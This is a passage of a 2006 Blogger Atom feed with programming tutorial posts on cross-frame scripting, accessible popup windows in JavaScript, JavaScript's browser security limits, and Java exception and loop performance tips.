(excerpt)&lt;/strong&gt;&lt;br&gt;var navframe = top.frames['navigationFrame']; &lt;br&gt;navframe.callMyFunction();&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;Alternatively, we can get a reference to the other framed document, and work with the DOM from there: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&lt;strong&gt;Example 7.7. frames-navigation.js (excerpt)&lt;/strong&gt;&lt;br&gt;var navdoc = navframe.document; &lt;br&gt;var menu = navdoc.getElementById('menulist');&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Discussion&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;Communication between frames is only allowed for documents in the same domain -- for security reasons, it's not possible to work with a document that was loaded from a different domain than the script. It wouldn't do, for example, for a malicious site owner to load a site that you visit regularly into a frame, and steal the personal data you enter there. &lt;p align="left"&gt;In fact, some browsers let users disallow all scripts from communicating between frames, just to eradicate any possibility of a cross-site scripting vulnerability, and there's no way to work around this preference if your script finds itself running in a browser so configured. &lt;p align="left"&gt;If you do have users who are complaining of problems (and they can't or won't change their settings to allow cross-frame scripting), the safest thing to do is simply to avoid cross-frame scripting altogether. &lt;p align="left"&gt;&lt;a href="http://www.sitepoint.com/print/javascript-from-scratch" target="_blank"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/frames"&gt;frames&lt;/a&gt;, &lt;a href="http://technorati.com/tag/html+frames"&gt;html frames&lt;/a&gt;, &lt;a href="http://technorati.com/tag/communicate+frames"&gt;communicate frames&lt;/a&gt;, &lt;a href="http://technorati.com/tag/popups"&gt;popups&lt;/a&gt;, &lt;a href="http://technorati.com/tag/frameset"&gt;frameset&lt;/a&gt;, &lt;a href="http://technorati.com/tag/document"&gt;document&lt;/a&gt;, &lt;a href="http://technorati.com/tag/window"&gt;window&lt;/a&gt;, &lt;a href="http://technorati.com/tag/parent"&gt;parent&lt;/a&gt;, &lt;a href="http://technorati.com/tag/top"&gt;top&lt;/a&gt;, &lt;a href="http://technorati.com/tag/contentframe"&gt;contentframe&lt;/a&gt;, &lt;a href="http://technorati.com/tag/navigation"&gt;navigation&lt;/a&gt;, &lt;a href="http://technorati.com/tag/domain"&gt;domain&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browsers"&gt;browsers&lt;/a&gt;, &lt;a href="http://technorati.com/tag/vulnarability"&gt;vulnarability&lt;/a&gt;, &lt;a href="http://technorati.com/tag/cross-site+scripting"&gt;cross-site scripting&lt;/a&gt;, &lt;a href="http://technorati.com/tag/cross-frame+scripting"&gt;cross-frame scripting&lt;/a&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115763414384074967?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115763414384074967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115763414384074967' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763414384074967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763414384074967'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/communicating-between-frames-html.html' title='Communicating between Frames - HTML'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115763389471959986</id><published>2006-09-07T18:28:00.000+05:30</published><updated>2006-09-07T18:28:14.730+05:30</updated><title type='text'>Problems with PopUp Windows and Solutions to tackle</title><content type='html'>&lt;h4 align="left"&gt;&lt;em&gt;Using Popup Windows&lt;/em&gt;&lt;/h4&gt; &lt;p align="left"&gt;Should you use popup windows? The most considered answer I have is this: not if you can help it. Popup windows have gained a bad reputation from marketers' aggressive use of them, but even requested popups can be barriers to good usability. &lt;p align="left"&gt;I won't say that popups are never appropriate, but I will say that they're seldom so. Nevertheless, there are situations where popping open a new window is arguably the most appropriate solution: an online survey might be one example, as the format may make the content more approachable; DHTML games are another, as the viewport may need to be of a known size. &lt;p align="left"&gt;I'll qualify my opinion by discussing the problems that popups create, then providing a pragmatic method for using them that mitigates these problems as much as possible. &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;What's Wrong with Popups?&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;The main problem with most popup window scripts is that they don't consider the needs of the user?they address only the needs of the designer. The results? We've all seen them: &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;popups that are generated from links, though those links do nothing when scripting is not available &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;popup windows that don't have a status bar, so you can't necessarily tell whether the document has loaded or stalled, is still loading, etc. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;popups that don't give users the ability to resize the window, and popups that fail to generate scrollbars for content that might scale outside the window &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;windows that are "chromeless," or open to the full size of the user's screen &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;These issues are not just questions of usability, but of accessibility as well. For example, screen-reader users may not be notified by their devices that a new window has opened. This could obviously cause confusion if they then attempted to go back in the browser history (they can't). The same thing might happen for a sighted user if a window opens at full-size: you and I may be familiar with using the taskbar to monitor open windows, but not all computer users are -- they may not even realize that a new window has popped up. &lt;p align="left"&gt;If you're going to use popups, looking out for issues like these, and being generally sensitive to their impacts, will make your popups friendlier to users, and less of a strain on your conscience. &lt;p align="left"&gt;Also, bear in mind that, from a developer's perspective, popup windows are not guaranteed to work: most browsers now include options to suppress popup windows, and in some cases, suppression occurs even if the popup is generated in response to a user event. &lt;p align="left"&gt;You may be able to allow for this as you would for situations in which scripting was not supported: by ensuring that the underlying trigger for the popup still does something useful if the popup fails. Or you might have your code open a window and then check its own closed property, to see if it's actually displayed (we'll look at this technique in the next solution). &lt;p align="left"&gt;But neither of these approaches is guaranteed to work with every browser and popup blocker out there, so for this as much as the usability reasons, it's simpler and better to avoid using popups whenever you can. &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;How Do I Minimize the Problems?&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;What we need to do is establish some golden rules for the ethical use of popups: &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Make sure any triggering link degrades properly when scripting is not available. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Always include the status bar. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Always include a mechanism to overflow the content: either allow window resizing, or allow scrollbars to appear, or both. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Don't open windows that are larger than 640x480 pixels. By limiting the size of popups, you ensure that they're smaller than users' primary windows on the vast majority of monitors. This increases the likelihood that the user will realize that the popup is a new window. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Solution&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;Here's a generic popup function that's based on the guidelines above: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&lt;strong&gt;Example 7.1. make-popup.js (excerpt)&lt;/strong&gt;&lt;br&gt;function makePopup(url, width, height, overflow) &lt;br&gt;{ &lt;br&gt;&amp;nbsp;if (width &amp;gt; 640) { width = 640; } &lt;br&gt;&amp;nbsp;if (height &amp;gt; 480) { height = 480; } &lt;br&gt;&amp;nbsp;if (overflow == '' || !/^(scroll|resize|both)$/.test(overflow)) &lt;br&gt;&amp;nbsp;{ &lt;br&gt;&amp;nbsp; &amp;nbsp;overflow = 'both'; &lt;br&gt;&amp;nbsp;} &lt;br&gt;&amp;nbsp;var win = window.open(url, '', &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;'width=' + width + ',height=' + height &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;+ ',scrollbars=' + (/^(scroll|both)$/.test(overflow) ? &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;'yes' : 'no') &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;+ ',resizable=' + (/^(resize|both)$/.test(overflow) ? &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;'yes' : 'no') &lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;+ ',status=yes,toolbar=no,menubar=no,location=no' &lt;br&gt;&amp;nbsp;); &lt;br&gt;&amp;nbsp;return win; &lt;br&gt;}&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;As well as limiting the window size, this script refuses to create a popup that doesn't have an overflow, so if you don't specify &lt;code&gt;"scroll"&lt;/code&gt;, &lt;code&gt;"resize"&lt;/code&gt;, or &lt;code&gt;"both"&lt;/code&gt; for the overflow argument, the default setting of &lt;code&gt;"both"&lt;/code&gt; will be used. &lt;p align="left"&gt;&lt;em&gt;The Ternary Operator&lt;/em&gt; &lt;p align="left"&gt;&lt;em&gt;This script uses a shortcut expression called a ternary operator to evaluate each of the overflow options. The ternary operator uses &lt;code&gt;?&lt;/code&gt; and &lt;code&gt;:&lt;/code&gt; characters to divide the two possible outcomes of an evaluation, and is equivalent to a single pair of &lt;code&gt;if..else&lt;/code&gt; conditions. Consider this code:&lt;/em&gt; &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;if (outlook == 'optimistic') { glass = 'half-full'; } &lt;br&gt;else { glass = 'half-empty'; }&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;em&gt;That code is equivalent to the markup below:&lt;/em&gt; &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;glass = (outlook == 'optimistic' ? 'half-full' : &lt;br&gt;&amp;nbsp; &amp;nbsp;'half-empty');&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;em&gt;The parentheses are not required, but you may find they make the expression easier to read. For more about this and other useful shortcuts, see Chapter 20, Keeping up the Pace.&lt;/em&gt; &lt;p align="left"&gt;Once you have the popup function in place, you can call it in a variety of ways. For example, you could use a regular link: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&lt;strong&gt;Example 7.2. make-popup.html (excerpt)&lt;/strong&gt;&lt;br&gt;&amp;lt;a href="survey.html" id="survey_link"&amp;gt;Online survey&amp;lt;/a&amp;gt;&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;If scripting is not available, this will work just like any other link, but if scripting is available, the script can trigger a click event handler that passes its href to the &lt;code&gt;makePopup&lt;/code&gt; function, along with the other settings. The return value of the handler depends on whether or not the window is actually opened; browsers that block the popup will follow the link as normal: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;Example 7.3. make-popup.js (excerpt) &lt;br&gt;document.getElementById('survey_link').onclick = function() &lt;br&gt;{ &lt;br&gt;&amp;nbsp;var survey = makePopup(this.href, 640, 480, 'scroll'); &lt;br&gt;&amp;nbsp;return survey.closed; &lt;br&gt;};&lt;/font&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;In general, if you have a script that requires that a window be generated, you can call the &lt;code&gt;makePopup&lt;/code&gt; function directly with a URL: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;var cpanel = makePopup('cpanel.html', 480, 240, 'resize');&lt;/font&gt;&lt;/code&gt; &lt;p align="left"&gt;If you need to close that window later in your script, you can do so by using the close method on the stored window reference: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;cpanel.close();&lt;/font&gt;&lt;/code&gt; &lt;p align="left"&gt;&lt;code&gt;&lt;a href="http://www.sitepoint.com/print/javascript-from-scratch" target="_blank"&gt;Get more information&lt;/a&gt;&lt;/code&gt; &lt;p align="left"&gt;&lt;code&gt;Tags: &lt;a href="http://technorati.com/tag/popup+windows"&gt;popup windows&lt;/a&gt;, &lt;a href="http://technorati.com/tag/dhtml"&gt;dhtml&lt;/a&gt;, &lt;a href="http://technorati.com/tag/new+window"&gt;new window&lt;/a&gt;, &lt;a href="http://technorati.com/tag/chromeless"&gt;chromeless&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browser+history"&gt;browser history&lt;/a&gt;, &lt;a href="http://technorati.com/tag/popup+blocker"&gt;popup blocker&lt;/a&gt;, &lt;a href="http://technorati.com/tag/status+bar"&gt;status bar&lt;/a&gt;, &lt;a href="http://technorati.com/tag/overflow"&gt;overflow&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ternary+operator"&gt;ternary operator&lt;/a&gt;, &lt;a href="http://technorati.com/tag/script"&gt;script&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/url"&gt;url&lt;/a&gt;, &lt;a href="http://technorati.com/tag/function"&gt;function&lt;/a&gt;, &lt;a href="http://technorati.com/tag/link"&gt;link&lt;/a&gt;, &lt;a href="http://technorati.com/tag/click+event"&gt;click event&lt;/a&gt;, &lt;a href="http://technorati.com/tag/trigger"&gt;trigger&lt;/a&gt;, &lt;a href="http://technorati.com/tag/scripting"&gt;scripting&lt;/a&gt;&lt;/code&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115763389471959986?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115763389471959986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115763389471959986' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763389471959986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763389471959986'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/problems-with-popup-windows-and.html' title='Problems with PopUp Windows and Solutions to tackle'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115763333108041198</id><published>2006-09-07T18:18:00.000+05:30</published><updated>2006-09-07T18:18:51.553+05:30</updated><title type='text'>Javascript Limitations</title><content type='html'>&lt;p align="left"&gt;JavaScript is most commonly used as a client-side language, and in this case the "client" refers to the end-user's web browser, in which JavaScript is interpreted and run. Since JavaScript does not have access to the server environment, there are many tasks that, while trivial when executed in PHP, simply cannot be achieved with JavaScript: reading and writing to a database, for example, or creating text files. But since JavaScript does have access to the client environment, it can make decisions based on data that server-side languages simply don't have, such as the position of the mouse, or the rendered size of an element.&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Security Restrictions&lt;/em&gt;&lt;/strong&gt; &lt;p align="left"&gt;As JavaScript operates within the realm of highly sensitive data and programs, its capabilities have been restricted to ensure that it can't be used maliciously. As such, there are many things that JavaScript simply is not allowed to do. For example, it cannot read most system settings from your computer, interact directly with your hardware, or cause programs to run. &lt;p align="left"&gt;Also, some specific interactions that would normally be allowed for a particular element are not permitted within JavaScript, because of that element's properties. For example, changing the value of a form &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;&lt;br&gt;is usually no problem, but if it's a file input field (e.g., &lt;code&gt;&amp;lt;input type="file"&amp;gt;&lt;/code&gt;), writing to it is not allowed at all -- a restriction that prevents malicious scripts from making users upload a file they didn't choose.&lt;/p&gt; &lt;p align="left"&gt;There are quite a few examples of similar security restrictions, which we'll expand on as they arise in the applications we'll cover in this book. But to summarize, here's a list of JavaScript's major limitations and security restrictions, including those we've already seen. JavaScript cannot: &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;open and read files directly (except under specific circumstances, as detailed in Chapter 18, Building Web Applications with JavaScript). &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;create or edit files on the user's computer (except &lt;a href="http://www.sitepoint.com/print/%5C%22/glossary.php?q=C#term_59%5C%22"&gt;cookies&lt;/a&gt; [11], which are discussed in Chapter 8, Working with Cookies). &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;read HTTP POST data. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;read system settings, or any other data from the user's computer that is not made available through language or host objects (Host objects are things like &lt;code&gt;window&lt;/code&gt; and &lt;code&gt;screen&lt;/code&gt;, which are provided by the environment rather than the language itself.) &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;modify the value of a file input field. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;alter a the display of a document that was loaded from a different domain. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;close or modify the toolbars and other elements of a window that was not opened by script (i.e., the main browser window). &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Ultimately, JavaScript might not be supported at all. &lt;p align="left"&gt;It's also worth bearing in mind that many browsers include options that allow greater precision than simply enabling or disabling JavaScript. For example, &lt;a href="http://www.sitepoint.com/print/%5C%22/glossary.php?q=O#term_27%5C%22"&gt;Opera&lt;/a&gt; [12] includes options to disallow scripts from closing windows, moving windows, writing to the status bar, receiving right-clicks ... the list goes on. There's little you can do to work around this, but mostly, you won't need to?such options have evolved to suppress "annoying" scripts (status bar scrollers, no-right-click scripts, etc.) so if you stay away from those kinds of scripts, the issue will come up only rarely. &lt;p align="left"&gt;&lt;a href="http://www.sitepoint.com/print/javascript-from-scratch" target="_blank"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+limitations"&gt;javascript limitations&lt;/a&gt;, &lt;a href="http://technorati.com/tag/security+restrictions"&gt;security restrictions&lt;/a&gt;, &lt;a href="http://technorati.com/tag/cookies"&gt;cookies&lt;/a&gt;, &lt;a href="http://technorati.com/tag/HTTP+POST"&gt;HTTP POST&lt;/a&gt;, &lt;a href="http://technorati.com/tag/opera"&gt;opera&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115763333108041198?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115763333108041198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115763333108041198' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763333108041198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115763333108041198'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/javascript-limitations.html' title='Javascript Limitations'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115761174385938197</id><published>2006-09-07T12:19:00.000+05:30</published><updated>2006-09-07T12:19:03.866+05:30</updated><title type='text'>Java Exceptions Best Practices</title><content type='html'>&lt;p align="left"&gt;Java provides an efficient way to handle unexpected conditions that can occur in the program. When there is an error or bug in the program then the program terminates as soon as an error is encountered leaving the program in an in consistent state, to avoid this Java makes use of Exception Handling mechanism to a great advantage so that when ever there is an exceptional condition then the program handles it gracefully and continues program execution.  &lt;p align="left"&gt;The whole concept of exceptions/errors is handled by the java.lang.Throwable class. It has two subclasses - Error and Exception. We generally need not handle Errors, they are handled by JVM. Example of Error is OutOfMemoryError. &lt;p align="left"&gt;Exceptions are of two types -Checked exceptions and Unchecked exceptions. &lt;p align="left"&gt;Checked exceptions should either be declared in the throws clause or caught&amp;nbsp; in the catch block. Unchecked exceptions need not be declared in the throws clause but can to be caught in the catch clause.  &lt;h4 align="left"&gt;&lt;a&gt;Optimization techniques in Exceptions&lt;/a&gt;&lt;/h4&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;In a catch block avoid using the generic class Exception. For each try block use specific catch blocks based on what can go wrong in your code.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Do not use Exception handling for anything other than exception handling like to control the flow of your program.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Whenever you are using a throws clause always use the specific subclass of Exception like FileNotFoundException rather than using throws Exception.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Use exception handling generously-Very little overhead is imposed by using exception handling mechanism unless an exception occurs. But when an exception occurs it imposes an overhead in terms of execution time. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Always use the finally block to release the resources like a database connection, closing a file or socket connection etc. This&amp;nbsp; prevents resource leaks even if an exception occurs. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;When using method calls always handle the exceptions in the method where they occur, do not allow them to propagate to the calling method unless it is specifically required. It is efficient to handle them locally since allowing them to propagate to the calling method takes more execution time. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Do not use Exception handling in loops. It is better to place loops inside try/catch blocks than vice versa. Here is an&amp;nbsp;code snippet that&amp;nbsp;gives bench mark. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;&lt;b&gt;&lt;a&gt;Key Points&lt;/a&gt;&lt;/b&gt; &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;Be specific while handling the exception in your catch block. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a&gt;Be specific while throwing exception in your throws clause. &lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Do not use Exception Handling&amp;nbsp;to control&amp;nbsp;programming flow.&lt;a&gt;&lt;/a&gt; &lt;a&gt;&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a&gt;Very little overhead is imposed by using exception handling mechanism unless an exception occurs or thrown a new exception object explicitly. &lt;/a&gt;&lt;a&gt;&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a&gt;Always use the finally block to release the resources to prevent resource leaks.&lt;/a&gt; &lt;a&gt;&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a&gt;Handle exceptions locally wherever possible.&lt;/a&gt; &lt;a&gt;&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a&gt;Do not use Exception handling in loops. &lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p align="left"&gt;&lt;a href="http://www.precisejava.com/javaperf/j2se/Exceptions.htm" target="_blank"&gt;Get more information&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/java+exceptions"&gt;java exceptions&lt;/a&gt;, &lt;a href="http://technorati.com/tag/handle+exceptions"&gt;handle exceptions&lt;/a&gt;, &lt;a href="http://technorati.com/tag/try+block"&gt;try block&lt;/a&gt;, &lt;a href="http://technorati.com/tag/method+calls"&gt;method calls&lt;/a&gt;, &lt;a href="http://technorati.com/tag/finally+block"&gt;finally block&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115761174385938197?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115761174385938197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115761174385938197' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761174385938197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115761174385938197'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/java-exceptions-best-practices.html' title='Java Exceptions Best Practices'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115761159071819158</id><published>2006-09-07T12:16:00.000+05:30</published><updated>2006-09-07T12:16:30.723+05:30</updated><title type='text'>Java Loops Best Practices</title><content type='html'>&lt;p align="left"&gt;Loops provide efficient way for repeating a piece of code as many times as required. Java has three types of loop control structures they are : for loop, while loop and do-while loop. The for loop is used when we know in advance how many iterations are required. The while loop is used when we do not know in advance the number of iterations required so each time before entering the loop the condition is checked and if it is true then the loop is executed. The do-while loop is always executed at least once and then the condition is checked at the end of the loop. Loops have a considerable effect on the performance of the program let us look at some points that focus on optimizing while using the loop control structures.&lt;/p&gt; &lt;h4 align="left"&gt;&lt;a&gt;Optimization techinques in loops&lt;/a&gt;&lt;/h4&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Always use an int data type as the loop index variable whenever possible because it is efficient when compared to using byte or short data types. because when we use byte or short data type as the loop index variable they involve implicit type cast to int data type. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;When using arrays it is always efficient to copy arrays using System.arraycopy() than using a loop. The following example shows the difference &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Always avoid anything that can be done outside of the loop like method calls, assigning values to variables, or testing for conditions . &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Method calls are very costly and you only make it worse by putting them in a loop. So as far as possible avoid method calls in a loop. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;It is better to avoid accessing array elements in a loop the better option would be to use a temporary variables inside the loop and modify the array values out of the loop. It is fast to use a variable in a loop than accessing an array element. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Try to compare the terminating condition with zero if you use non-JIT or HotSpot virtual machine, here is an example to prove the point. JIT or HotSpot virtual machines are optimized for general loops so you do not have to bother about the terminating condition. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Avoid using method calls in loops for termination condition this is costly instead use a temporary variable and test the loop termination with the temporary variable. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;When using short circuit operators to test for loop termination tests always put the expression that will most likely evaluate to false at extreme left.This saves all the following expressions from being tested in case there is an &amp;amp;&amp;amp; operator and if there are only || operators then put the expression which is most likely to evaluate to true in the extreme left. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Avoid using try-catch inside the loops instead place the loops inside the try-catch for better performance &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4 align="left"&gt;&lt;b&gt;&lt;a&gt;Key Points&lt;/a&gt;&lt;/b&gt;&lt;/h4&gt; &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;Use integer as loop index variable. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Use System.arraycopy() to copy arrays. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Avoid method calls in loops . &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;It is efficient to access variables in a loop when compared to accessing array elements. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Compare the termination condition in a loop with zero if you use non-JIT or HotSpot VMs. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Avoid using method calls to check for termination condition in a loop &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;When using short circuit operators place the expression which is likely to evaluate to false on extreme left if the expresion contains &amp;amp;&amp;amp;. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;When using short circuit operators place the expression which is likely to evaluate to true on extreme left if the expresion contains only ||. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Do not use exception handling inside loops. &lt;/div&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p align="left"&gt;&lt;a href="http://www.precisejava.com/javaperf/j2se/Loops.htm" target="_blank"&gt;Get more information&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/java+loops"&gt;java loops&lt;/a&gt;, &lt;a href="http://technorati.com/tag/method+calls"&gt;method calls&lt;/a&gt;, &lt;a href="http://technorati.com/tag/termination+condition"&gt;termination condition&lt;/a&gt;, &lt;a href="http://technorati.com/tag/JIT"&gt;JIT&lt;/a&gt;, &lt;a 